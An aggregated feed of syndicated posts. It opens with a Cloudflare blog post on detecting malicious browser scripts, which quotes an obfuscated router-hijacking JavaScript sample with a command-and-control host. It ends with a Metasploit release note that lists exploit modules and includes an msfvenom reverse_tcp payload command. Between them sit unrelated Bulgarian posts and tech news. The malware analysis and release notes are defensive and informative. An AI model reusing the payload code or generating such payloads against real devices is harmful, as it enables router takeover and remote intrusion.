Cloudflare Client-Side Security: smarter detection, now open to everyone

Post Syndicated from Zhiyuan Zheng original https://blog.cloudflare.com/client-side-security-open-to-everyone/

Client-side skimming attacks have a boring superpower: they can steal data without breaking anything. The page still loads. Checkout still completes. All it needs is just one malicious script tag.

If that sounds abstract, here are two recent examples of such skimming attacks:

  • In January 2026, Sansec reported a browser-side keylogger running on an employee merchandise store for a major U.S. bank, harvesting personal data, login credentials, and credit card information.

  • In September 2025, attackers published malicious releases of widely used npm packages. If those packages were bundled into front-end code, end users could be exposed to crypto-stealing in the browser.

To further our goal of building a better Internet, Cloudflare established a core tenet during our Birthday Week 2025: powerful security features should be accessible without requiring a sales engagement. In pursuit of this objective, we are announcing two key changes today:

First, Cloudflare Client-Side Security Advanced (formerly Page Shield add-on) is now available to self-serve customers. And second, domain-based threat intelligence is now complimentary for all customers on the free Client-Side Security bundle.

In this post, we’ll explain how this product works and highlight a new AI detection system designed to identify malicious JavaScript while minimizing false alarms. We’ll also discuss several real-world applications for these tools.

How Cloudflare Client-Side Security works

Cloudflare Client-Side Security assesses 3.5 billion scripts per day, protecting 2,200 scripts per enterprise zone on average.

Under the hood, Client-Side Security collects these signals using browser reporting (for example, Content Security Policy), which means you don’t need scanners or app instrumentation to get started, and there is zero latency impact to your web applications. The only prerequisite is that your traffic is proxied through Cloudflare.

Client-Side Security Advanced provides immediate access to powerful security features:

  • Smarter malicious script detection: Using in-house machine learning, this capability is now enhanced with assessments from a Large Language Model (LLM). Read more details below.

  • Code change monitoring: Continuous code change detection and monitoring is included, which is essential for meeting compliance like PCI DSS v4, requirement 11.6.1.

  • Proactive blocking rules: Benefit from positive content security rules that are maintained and enforced through continuous monitoring.

Detecting malicious intent JavaScripts

Managing client-side security is a massive data problem. For an average enterprise zone, our systems observe approximately 2,200 unique scripts; smaller business zones frequently handle around 1,000. This volume alone is difficult to manage, but the real challenge is the volatility of the code.

Roughly a third of these scripts undergo code updates within any 30-day window. If a security team attempted to manually approve every new DOM (document object model) interaction or outbound connection, the resulting overhead would paralyze the development pipeline.

Instead, our detection strategy focuses on what a script is trying to do. That includes intent classification work we’ve written about previously. In short, we analyze the script’s behavior using an Abstract Syntax Tree (AST). By breaking the code down into its logical structure, we can identify patterns that signal malicious intent, regardless of how the code is obfuscated.

The high cost of false positives

Client-side security operates differently than active vulnerability scanners deployed across the web, where a Web Application Firewall (WAF) would constantly observe matched attack signatures. While a WAF constantly blocks high-volume automated attacks, a client-side compromise (such as a breach of an origin server or a third-party vendor) is a rare, high-impact event. In an enterprise environment with rigorous vendor reviews and code scanning, these attacks are rare.

This rarity creates a problem. Because real attacks are infrequent, a security system’s detections are statistically more likely to be false positives. For a security team, these false alarms create fatigue and hide real threats. To solve this, we integrated a Large Language Model (LLM) into our detection pipeline, drastically reducing the false positive rate.

Adding an LLM-based second opinion for triage

Our frontline detection engine is a Graph Neural Network (GNN). GNNs are particularly well-suited for this task: they operate on the Abstract Syntax Tree (AST) of the JavaScript code, learning structural representations that capture execution patterns regardless of variable renaming, minification, or obfuscation. In machine learning terms, the GNN learns an embedding of the code’s graph structure that generalizes across syntactic variations of the same semantic behavior.

The GNN is tuned for high recall. We want to catch novel, zero-day threats. Its precision is already remarkably high: less than 0.3% of total analyzed traffic is flagged as a false positive (FP). However, at Cloudflare’s scale of 3.5 billion scripts assessed daily, even a sub-0.3% FP rate translates to a volume of false alarms that can be disruptive to customers.

The core issue is a classic class imbalance problem. While we can collect extensive malicious samples, the sheer diversity of benign JavaScript across the web is practically infinite. Heavily obfuscated but perfectly legitimate scripts — like bot challenges, tracking pixels, ad-tech bundles, and minified framework builds — can exhibit structural patterns that overlap with malicious code in the GNN’s learned feature space. As much as we try to cover a huge variety of interesting benign cases, the model simply has not seen enough of this infinite variety during training.

This is precisely where Large Language Models (LLMs) complement the GNN. LLMs possess a deep semantic understanding of real-world JavaScript practices: they recognize domain-specific idioms, common framework patterns, and can distinguish sketchy-but-innocuous obfuscation from genuinely malicious intent.

Rather than replacing the GNN, we designed a cascading classifier architecture:

  1. Every script is first evaluated by the GNN. If the GNN predicts the script as benign, the detection pipeline terminates immediately. This incurs only the minimal latency of the GNN for the vast majority of traffic, completely bypassing the heavier computation time of the LLM.

  2. If the GNN flags the script as potentially malicious (above the decision threshold), the script is forwarded to an open-source LLM hosted on Cloudflare Workers AI for a second opinion.

  3. The LLM, provided with a security-specialized prompt context, semantically evaluates the script’s intent. If it determines the script is benign, it overrides the GNN’s verdict.

This two-stage design gives us the best of both worlds: the GNN’s high recall for structural malicious patterns, combined with the LLM’s broad semantic understanding to filter out false positives.


As we previously explained, our GNN is trained on publicly accessible script URLs, the same scripts any browser would fetch. The LLM inference at runtime runs entirely within Cloudflare’s network via Workers AI using open-source models (we currently use gpt-oss-120b).

As an additional safety net, every script flagged by the GNN is logged to Cloudflare R2 for posterior analysis. This allows us to continuously audit whether the LLM’s overrides are correct and catch any edge cases where a true attack might have been inadvertently filtered out. Yes, we dogfood our own storage products for our own ML pipeline.

The results from our internal evaluations on real production traffic are compelling. Focusing on total analyzed traffic under the JS Integrity threat category, the secondary LLM validation layer reduced false positives by nearly 3x: dropping the already low ~0.3% FP rate down to ~0.1%. When evaluating unique scripts, the impact is even more dramatic: the FP rate plummets a whopping ~200x, from ~1.39% down to just 0.007%.

At our scale, cutting the overall false positive rate by two-thirds translates to millions fewer false alarms for our customers every single day. Crucially, our True Positive (actual attack) detection capability includes a fallback mechanism:as noted above, we audit the LLM’s overrides to check for possible true attacks that were filtered by the LLM.

Because the LLM acts as a highly reliable precision filter in this pipeline, we can now afford to lower the GNN’s decision threshold, making it even more aggressive. This means we catch novel, highly obfuscated True Attacks that would have previously fallen just below the detection boundary, all without overwhelming customers with false alarms. In the next phase, we plan to push this even further.

Catching zero-days in the wild: The core.js router exploit

This two-stage architecture is already proving its worth in the wild. Just recently, our detection pipeline flagged a novel, highly obfuscated malicious script (core.js) targeting users in specific regions.

In this case, the payload was engineered to commandeer home routers (specifically Xiaomi OpenWrt-based devices). Upon closer inspection via deobfuscation, the script demonstrated significant situational awareness: it queries the router’s WAN configuration (dynamically adapting its payload using parameters like wanType=dhcp, wanType=static, and wanType=pppoe), overwrites the DNS settings to hijack traffic through Chinese public DNS servers, and even attempts to lock out the legitimate owner by silently changing the admin password. Instead of compromising a website directly, it had been injected into users’ sessions via compromised browser extensions.

To evade detection, the script’s core logic was heavily minified and packed using an array string obfuscator — a classic trick, but effective enough that traditional threat intelligence platforms like VirusTotal have not yet reported detections at the time of this writing.

Our GNN successfully revealed the underlying malicious structure despite the obfuscation, and the Workers AI LLM confidently confirmed the intent. Here is a glimpse of the payload showing the target router API and the attempt to inject a rogue DNS server:

const _0x1581=['bXhqw','=sSMS9WQ3RXc','cookie','qvRuU','pDhcS','WcQJy','lnqIe','oagRd','PtPlD','catch','defaultUrl','rgXPslXN','9g3KxI1b','123123123','zJvhA','content','dMoLJ','getTime','charAt','floor','wZXps','value','QBPVX','eJOgP','WElmE','OmOVF','httpOnly','split','userAgent','/?code=10&asyn=0&auth=','nonce=','dsgAq','VwEvU','==wb1kHb9g3KxI1b','cNdLa','W748oghc9TefbwK','_keyStr','parse','BMvDU','JYBSl','SoGNb','vJVMrgXPslXN','=Y2KwETdSl2b','816857iPOqmf','uexax','uYTur','LgIeF','OwlgF','VkYlw','nVRZT','110594AvIQbs','LDJfR','daPLo','pGkLa','nbWlm','responseText','20251212','EKjNN','65kNANAl','.js','94963VsBvZg','WuMYz','domain','tvSin','length','UBDtu','pfChN','1TYbnhd','charCodeAt','/cgi-bin/luci/api/xqsystem/login','http://192.168.','trace','https://api.qpft5.com','&newPwd=','mWHpj','wanType','XeEyM','YFBnm','RbRon','xI1bxI1b','fBjZQ','shift','=8yL1kHb9g3KxI1b','http://','LhGKV','AYVJu','zXrRK','status','OQjnd','response','AOBSe','eTgcy','cEKWR','&dns2=','fzdsr','filter','FQXXx','Kasen','faDeG','vYnzx','Fyuiu','379787JKBNWn','xiroy','mType','arGpo','UFKvk','tvTxu','ybLQp','EZaSC','UXETL','IRtxh','HTnda','trim','/fee','=82bv92bv92b','BGPKb','BzpiL','MYDEF','lastIndexOf','wypgk','KQMDB','INQtL','YiwmN','SYrdY','qlREc','MetQp','Wfvfh','init','/ds','HgEOZ','mfsQG','address','cDxLQ','owmLP','IuNCv','=syKxEjUS92b','then','createOffer','aCags','tJHgQ','JIoFh','setItem','ABCDEFGHJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789','Kwshb','ETDWH','0KcgeX92i0efbwK','stringify','295986XNqmjG','zfJMl','platform','NKhtt','onreadystatechange','88888888','push','cJVJO','XPOwd','gvhyl','ceZnn','fromCharCode',';Secure','452114LDbVEo','vXkmg','open','indexOf','UiXXo','yyUvu','ddp','jHYBZ','iNWCL','info','reverse','i4Q18Pro9TefbwK','mAPen','3960IiTopc','spOcD','dbKAM','ZzULq','bind','GBSxL','=A3QGRFZxZ2d','toUpperCase','AvQeJ','diWqV','iXtgM','lbQFd','iOS','zVowQ','jTeAP','wanType=dhcp&autoset=1&dns1=','fNKHB','nGkgt','aiEOB','dpwWd','yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW','encode','gWYAY','mckDW','createDataChannel'];
const _0x4b08=function(_0x5cc416,_0x2b0c4c){_0x5cc416=_0x5cc416-0x1d5;let _0xd00112=_0x1581[_0x5cc416];return _0xd00112;};
(function(_0x3ff841,_0x4d6f8b){const _0x45acd8=_0x4b08;while(!![]){try{const _0x1933aa=-parseInt(_0x45acd8(0x275))*-parseInt(_0x45acd8(0x264))+-parseInt(_0x45acd8(0x1ff))+parseInt(_0x45acd8(0x25d))+-parseInt(_0x45acd8(0x297))+parseInt(_0x45acd8(0x20c))+parseInt(_0x45acd8(0x26e))+-parseInt(_0x45acd8(0x219))*parseInt(_0x45acd8(0x26c));if(_0x1933aa===_0x4d6f8b)break;else _0x3ff841['push'](_0x3ff841['shift']());}catch(_0x8e5119){_0x3ff841['push'](_0x3ff841['shift']());}}}(_0x1581,0x842ab));

This is exactly the kind of sophisticated, zero-day threat that a static signature-based WAF would miss but our structural and semantic AI approach catches.

Indicators of Compromise (IOCs)

  • URL: hxxps://ns[.]qpft5[.]com/ads/core[.]js

  • SHA-256: 4f2b7d46148b786fae75ab511dc27b6a530f63669d4fe9908e5f22801dea9202

  • C2 Domain: hxxps://api[.]qpft5[.]com

Domain-based threat intelligence free for all

Today we are making domain-based threat intelligence available to all Cloudflare Client-Side Security customers, regardless of whether you use the Advanced offering.

In 2025, we saw many non-enterprise customers affected by client-side attacks, particularly those customers running webshops on the Magento platform. These attacks persisted for days or even weeks after they were publicized. Small and medium-sized companies often lack the enterprise-level resources and expertise needed to maintain a high security standard.

By providing domain-based threat intelligence to everyone, we give site owners a critical, direct signal of attacks affecting their users. This information allows them to take immediate action to clean up their site and investigate potential origin compromises.

To begin, simply enable Client-Side Security with a toggle in the dashboard. We will then highlight any JavaScript or connections associated with a known malicious domain.

Get started with Client-Side Security Advanced for PCI DSS v4

To learn more about Client-Side Security Advanced pricing, please visit the plans page. Before committing, we will estimate the cost based on your last month’s HTTP requests, so you know exactly what to expect.

Client-Side Security Advanced has all the tools you need to meet the requirements of PCI DSS v4 as an e-commerce merchant, particularly 6.4.3 and 11.6.1. Sign up today in the dashboard.

2026-03-30 Heth 2

Post Syndicated from Vasil Kolev original https://vasil.ludost.net/blog/?p=3524

Като продължение на предишното.

TLDR – сряда (01.04, така се пада, за съжаление) ще се съберем в “Дондуковъ” на ИББ да си говорим за Явор.

И си спомних една от всичките истории с него – 2005-та с него и Червото отидохме на WhatTheHack. За разлика от него, ние никога не бяхме ходили на палатки и изобщо извън цивилизацията, съответно бяхме прилично неподготвени – аз имах еднослойна палатка, а Червото някаква кръгла, в която спеше навит, щото не можеше да се събере иначе. В крайна сметка и двамата си изхвърлихме палатките там, и той спа в NOC-а, аз в съврърното. Човек би очаквал, че ще се поучим от младежа, ама на 🙂
(А той, типично в негов стил сутринта на летището откри, че си е забравил паспорта и спешно се връща. И това при условие, че беше останал да спи през нощта при нас, че да сме сигурни, че ще го събудим 🙂 )

Kernel prepatch 7.0-rc6

Post Syndicated from corbet original https://lwn.net/Articles/1065194/

The 7.0-rc6 kernel prepatch is out for
testing.

Anyway, exactly because it’s just “more than usual” rather than
feeling *worse* than usual, I don’t currently feel this merits
extending the release, and I still hope that next weekend will be
the last rc. But it’s just a bit unnerving how this release doesn’t
want to calm down, so no promises.

Избори 2026-та – карта на секциите в чужбина и къде има промени

Post Syndicated from Боян Юруков original https://yurukov.net/blog/2026/iz2026-sekcii-lipsi/

Вчера излезе решение на ЦИК за броя секции в чужбина. След промените в Изборния кодекс приети в последния момент, секциите този път ще са рекордно малко – 493 секции на 443 места по света. За сравнение, през октомври 2024-та имаше 719 секции, през юни – 769 секции, през 2023-та – 737 секции, а през ноември 2021-ва – 806 секции на 702 места по света.

Всички те вече може да видите на картата на Glasuvam.org. Адресите на около 30% от тях са ясни, тъй като са дипломатически представителства. Още няколко места са нови и не са ясни адресите. Останалите най-вероятно ще бъдат същите като предишни години, но това следва да се потвърди от Външно. Очаквам да излязат с решенията за отваряне на секциите. Тогава ще обновя картата с точните адреси и ще изпратя индивидуални съобщения на над 3100 абонирани за новини с най-близките три секции до тях.

Основни потърпевши от тези промени са сънародниците ни във Великобритания, Турция и САЩ, където традиционно има много гласуващи. В самото решение на ЦИК се споменава, че в UK са събрани достатъчно заявления за отваряне на секции на 66 места извън дипломатическите представителства. В Турция – 55, а в САЩ – 34. Всички те ще бъдат ограничени до 20 въпреки значителната активност на сънародниците ни зад граница. В други страни като Чехия приемащата страна не е позволила отваряне на секции извън посолството, а в доста арабски страни МВнР е препоръчала да не се отварят секции заради войната между Иран, САЩ и Израел.

Спрямо предишния вот, така най-голямо намаление виждаме в Турция, където има 141 секции по-малко на 101 места. Следва Великобритания с 84 по-малко секции на 78 места и САЩ с 29 по-малко секции спрямо октомври 2024-та. Няма да има секции в Йордания, Катар, Кувейт, ОАЕ и Саудитска Арабия.

Сред останалите, повече секции ще има в Германия, Гърция, Ирландия, Испания, Молдова и Франция – с между 2 и 4 секции. В Испания на 4 места ще има секции за пръв път от последните поне 6 вота, в Молдова – 3, а в Ирландия и Нидерландия – по 2. Общо 21 места в 14 държави ще са със секции за пръв път най-малкото от няколко години. В 22 държави ще има повече секции, а в 29 държави броят на секциите и местата няма да се промени, но е възможно смяна на точния адрес на някои секции.

За да се илюстрират по-добре тези промени, направих карта сравняваща секциите през октомври 2024 и април 2026-та. В червено са тези, които няма да се открият този път.

Може да я разгледате също на цял екран.

От следващия парламент ще зависи дали ще бъде възстановен режима за отваряне на секции в чужбина, какъвто беше години наред и позволяваше максимален брой от сънародниците ни да упражняват гарантираните иначе от конституцията права. Също толкова важно – дали избирателен район чужбина най-накрая ще влезе в сила и ще има както представителност на вота зад граница, така и по-малко изкривяване на местен вот по усмотрение на ЦИК. Има отдавна взето решение и нормативно заложена възможност за дистанционен електронен вот, който така и не се случи. Гласуването с машини нарочно беше спряно предвид колко изборни измами се предотвратяваха така и как маркирането на бюлетини на десетки хиляди българи като невалидни стана невъзможно.

Всичко изброено зависи от това дали и начина, по който гласуваме на 19-ти април.

Cisco Catalyst C1300-12XT-2X Review A Better 14-Port 10GbE Managed Switch

Post Syndicated from Rohit Kumar original https://www.servethehome.com/cisco-catalyst-c1300-12xt-2x-review-a-better-14-port-10gbe-managed-switch/

In our Cisco Catalyst C1300-12XT-2X review, we see how this 12-port 10Gbase-T and 2-port SFP+ switch performs and how it has a neat design

The post Cisco Catalyst C1300-12XT-2X Review A Better 14-Port 10GbE Managed Switch appeared first on ServeTheHome.

Седмицата (23–28 март)

Post Syndicated from Йовко Ламбрев original https://www.toest.bg/sedmitsata-23-28-mart/

Седмицата (23–28 март)

Отмина първата седмица от началото на кампанията за предстоящите избори за нов парламент. Предстои да видим дали в останалите три седмици обичайното надвикване на политическия пазар отново ще заглуши опитите за рационален разговор. Но докато прожекторите ще са насочени към поредните „спасителни“ обещания, ние в „Тоест“, както пък е обичайно за нас, ще се взираме в сенките и ще четем между редовете, където контекстът невинаги е кристалноясен, но процесите са най-дълбоки. Защото отвъд плакатните лозунги – отчайващо банални впрочем – продължават да стоят отворени най-важните въпроси, на които почти никой политик не бърза да отговори.

В новия си анализ за „Тоест“ Емилия Милчева разглежда усилията на служебния кабинет и МВР да редуцират контролирания вот. Този път изглежда, че десетилетната етническа лоялност в районите на ДПС трудно ще бъде трансформирана изцяло в нови мрежи от зависимости. Дали обаче факторът „Пеевски“ няма да се окаже неочакван катализатор, който, отблъсквайки част от вота в нови посоки, да предизвика оздравителен трус в политическата конюнктура у нас?

На Пеевски ще му е трудно с гласовете
Купеният вот всъщност е мрежа от зависимости, която се прокъсва, когато държавата действа. Акциите на МВР дават някакви резултати – засега повече видими, отколкото ефективни, но все по-често се поставя въпросът колко тежи реалната подкрепа на избирателите за ДПС – Ново начало. От Емилия Милчева.
Седмицата (23–28 март)

Светла Енчева забелязва едно оглушително отсъствие в дневния ред и в обществения дебат около тези избори. Изглежда, че на никого не му пука за либералната демокрация. На нея всъщност дължим всичко постигнато в обществен и икономически план през последните вече почти четири десетилетия. Дори самия факт, че провеждаме избори.

Светла прегледа програмите на водещите политически играчи, за да установи, че всички тичат под знамето на „спасители от корупцията“, докато тихомълком загърбват ценностите, които правят гражданската съпротива възможна. Така на 19 април предстои да избираме между антикорупция с московски привкус, антикорупция с проевропейска фасада или директно запазване на досегашното статукво.

Изборите, които нямаме
Този текст тръгва от привидно прост въпрос и стига до неудобен извод: в предстоящите избори изборът не е между модели на управление, а между различни версии на едно и също обещание, от което леко ни е втръснало. Какво всъщност ни предлагат партиите? От Светла Енчева.
Седмицата (23–28 март)

Помните ли, че още на 1 февруари 2018 г., когато „Тоест“ стартира с първите си няколко материала, един от тях беше късометражен документален филм? Дойде време да ви покажем още една съвсем нова продукция – филма „Какво е да остарееш в България“. Негов автор е Лина Кривошиева, която освен режисьор, сценарист и оператор на филма е и един от основателите на „Тоест“. Чрез историите на няколко жени тя изследва темата за остаряването и за отношението на обществото ни към възрастните хора.

Заповядайте на премиерата на филма в София на 5 април (неделя) от 15:00 ч. в Дома на киното. След прожекцията ще проведем кратък разговор с Лина Кривошиева, Яна Рупева, доц. Ивелина Ефтимова и публиката, модериран от Владислав Севов.

Следват прожекции и в Стара Загора, Пловдив, Велико Търново, Трявна, Шумен, Межден и вероятно и на други места.

„Какво е да остарееш в България“ – прожекции и срещи с публиката
Каним ви да гледаме заедно новия документален филм на „Тоест“ и да се съберем около тема, която засяга всички ни, но за която рядко говорим. Чрез историите на няколко жени филмът изследва какво означава да остарееш – и как обществото ни се отнася към възрастните хора.
Седмицата (23–28 март)

И като споменахме „Дома на киното“… пак там на 1 април, Деня на шегата, започва първото издание на комедийния фестивал „Е, и?“, който ще се опита да задоволи глада ни за смях и усмивки (поне в софийския кинокалендар) със селекция от близо 20 заглавия – от вечни класики до съвсем нови заглавия от европейското и световното кино.

В програмата ще откриете както невротичния Уди Алън в „Ани Хол“ и вечната Мерилин Монро в „Някои го предпочитат горещо“ (по повод 100-годишнината от рождението ѝ), така и британски черен хумор в зомби комедията „Шон от мъртвите“. А сред най-новите продукции в афиша са немският Two to One със Сандра Хюлер, италианският „Илюзията“ на Роберто Андо, както и „Дракула“ на румънския режисьор Раду Жуде, който някак успява да смеси вампири, кръв и автомобилни преследвания и всичко пак да си остане смешно. Ако имате нужда от малко интелигентен хумор и кино, което е едновременно трогателно и остроумно, не пропускайте този 9-дневен маратон на доброто настроение.

Седмицата (23–28 март)

Още едно събитие, на което искаме да ви поканим да присъствате, този път виртуално – новият епизод на видеопоредицата ни „Тоест разговаряме“ предстои на 4 април, събота, от 16:00 ч. в YouTube Live. Този път Владислав Севов ще разговаря с Надежда Цекулова, авторка в „Тоест“ по здравни и образователни теми. В последната една година тя води рубриката „Анатомия на пола: Жена“, а предстои и новата ѝ поредица в „Тоест“ по една тежка, но важна тема – липсващите палиативни грижи за деца в България.

Ако сте сред тези, които очакват историческото завръщане на земляни на Луната, вероятно вече знаете, че техническа неизправност остави мисията Artemis II „приземена“ за още известно време, а действителното кацане на лунната повърхност се изплъзва за… някъде около 2028 г. В поредния си обзор с научни новини Михаил Ангелов разказва за това как новата логистика на НАСА и частните компании превръщат пътуванията из Космоса в сложна шахматна партия, за кометата 3I/ATLAS, която прелетя край Юпитер, оставяйки след себе си повече въпроси, отколкото отговори, и за климата на собствената ни планета, който показва поредни признаци на трескави и динамични промени.

Научни новини: Лунни мисии, комети и климатични промени
Artemis II още не е излетял, междузвездната комета 3I/ATLAS вече си тръгва, а климатът не чака никого – накратко какво се случва горе (и долу) през последните седмици. Научни новини от Михаил Ангелов.
Седмицата (23–28 март)

Теодора Станимирова пък ни сблъсква с един от критичните проблеми в българското образование. Според статистиката над една трета от новопостъпилите учители напускат професията в първите три години. Причината е липсата не на финансова мотивация, а на реална менторска подкрепа и подготовка за действителността в образователната система. Анализът поставя фокуса върху емоционалното прегаряне и усещането за самота, пред които се изправя всеки млад учител, прекрачил училищния праг.

Възможно ли е училището да спре да бъде „инкубатор за стрес“ и да се превърне в подкрепяща общност, или ще продължим да губим потенциала на новото поколение просветители в лабиринта на една нереформирана система? Прочетете „Първите три години. Защо младите учители не се задържат в системата?“ – статия за цената на разочарованието и нуждата от истинска промяна за тези, които са призвани да формират бъдещето.

Първите три години. Защо младите учители не се задържат в системата?
Заплатите на учителите растат, педагогическите специалности са без такси, но младите учители панически напускат системата. За да разбере този парадокс, Теодора Станимирова разговаря с две учителки от „Заедно в час“, с две представителки на организацията, с един доскорошен министър и пита МОН.
Седмицата (23–28 март)

Според Екатерина Йосифова четящият стихотворение сутрин добре понася другите часове от деня. Това е декларираният и преднамерен замисъл на рубриката ни „Стихотворение на месеца“. Този път то е на Никола Маринов – кратичко е, няма заглавие, но пък всяка дума тежи на мястото си… в безбрежното.

***
Впечатлен от предположението че светът веднъж бил безбрежен
криел се в нощта
Спомняйки си че той е човекът а книгата привидение оставил надеждата
да стъпи на брега
Слязъл от прогнилия сал взирал се в мрака без да знае дали някъде там грее
крехък пламък на свещ Никола Маринов Никола Маринов
Седмицата (23–28 март)

И преди да ви пожелая приятно четене, искам да припомня, че за да може екипът ни и през следващите седмици да търси смисъла отвъд шума, имаме нужда от подкрепа за независимата журналистика на „Тоест“. Вашата съпричастност е единствената ни гаранция за свобода. И причина за съществуване.

Metasploit Wrap-Up 03/27/2026

Post Syndicated from Spencer McIntyre original https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-03-27-2026

Better NTLM Relaying Functionality

This week’s release brings an improvement to the SMB NTLM relay server. In the past, it’s support has been expanded with modules for relaying to HTTP (ESC8), MSSQL and LDAP while still receiving connections over the humble SMB service. Prior to this release, clients required a key behavior in how they handled SMB’s STATUS_NETWORK_SESSION_EXPIRED error code, in order to relay a single authentication attempt to multiple targets. Most clients other than Window’s “net use” do not handle these errors and were thus incompatible with Metasploit SMB NTLM relaying capabilities. Now, when a single target is specified, Metasploit alters its relaying strategy to forward the Net-NTLM messages immediately, making it compatible with a broader range of clients including Linux’s smbclient. In addition, the client in RubySMB was updated to mimic the behaviour of “net use” allowing authentication attempts from RubySMB to be relayed to multiple targets successfully.

New module content (3)

ESC/POS Printer Command Injector

Author: FutileSkills

Type: Auxiliary

Pull request: #20478 contributed by futileskills

Path: admin/printer/escpos_tcp_command_injector

Description: Adds a new auxiliary module that exploits CVE-2026-23767, an unauthenticated ESC/POS command vulnerability in networked Epson-compatible printers. The vulnerability allows an attacker to send crafted commands over the network to inject custom ESC/POS print commands, which are used in various receipt printers.

Eclipse Che machine-exec Unauthenticated RCE

Authors: Greg Durys [email protected] and Richard Leach

Type: Exploit

Pull request: #20835 contributed by GregDurys

Path: linux/http/eclipse_che_machine_exec_rce

AttackerKB reference: CVE-2025-12548

Description: This adds a module for CVE-2025-12548, an unauthenticated RCE in the Eclipse Che machine-exec service. The vulnerability allows attackers to connect over WebSocket on port 3333 and execute commands via JSON-RPC without authentication. This affects Red Hat OpenShift DevSpaces environments.

Barracuda ESG TAR Filename Command Injection

Authors: Curt Hyvarinen, Mandiant, and cfielding-r7

Type: Exploit

Pull request: #21033 contributed by Alpenlol

Path: linux/smtp/barracuda_esg_tarfile_rce AttackerKB reference: CVE-2023-2868

Description: Adds exploit module for CVE-2023-2868, a command injection vulnerability in Barracuda Email Security Gateway (ESG) appliances. Filenames in TAR attachments are passed to shell commands without sanitization, allowing RCE via backtick injection.

Enhancements and features (1)

  • #21049 from h00die – This updates post modules to use an API that will expand multiple environment variables when set within the WritableDir option.

Bugs fixed (5)

  • #20967 from jheysel-r7 – This fix an issue that prevents successful authentication relay from Ruby SMB Client and smbclient. These clients are now compatible with Msf::Exploit::Remote::SMB::RelayServer.
  • #21148 from adfoster-r7 – Fixes a bug where setting VERBOSE logging as false globally would still cause verbose logging to occur.
  • #21169 from SaiSakthidar – This fixes a bug that was preventing Mach-O binaries from being identified due to a Ruby string encoding compatibility problem.
  • #21173 from msutovsky-r7 – Fixes a crash when attempting to generate a vbs payload with msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=44 -f vbs.
  • #21174 from adfoster-r7 – Fixes a bug when parsing msfconsole’s -x flag when additional semicolons are present that are not meant to separate commands. i.e. msfconsole -x ‘set option_name “a;b”‘.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

The collective thoughts of the interwebz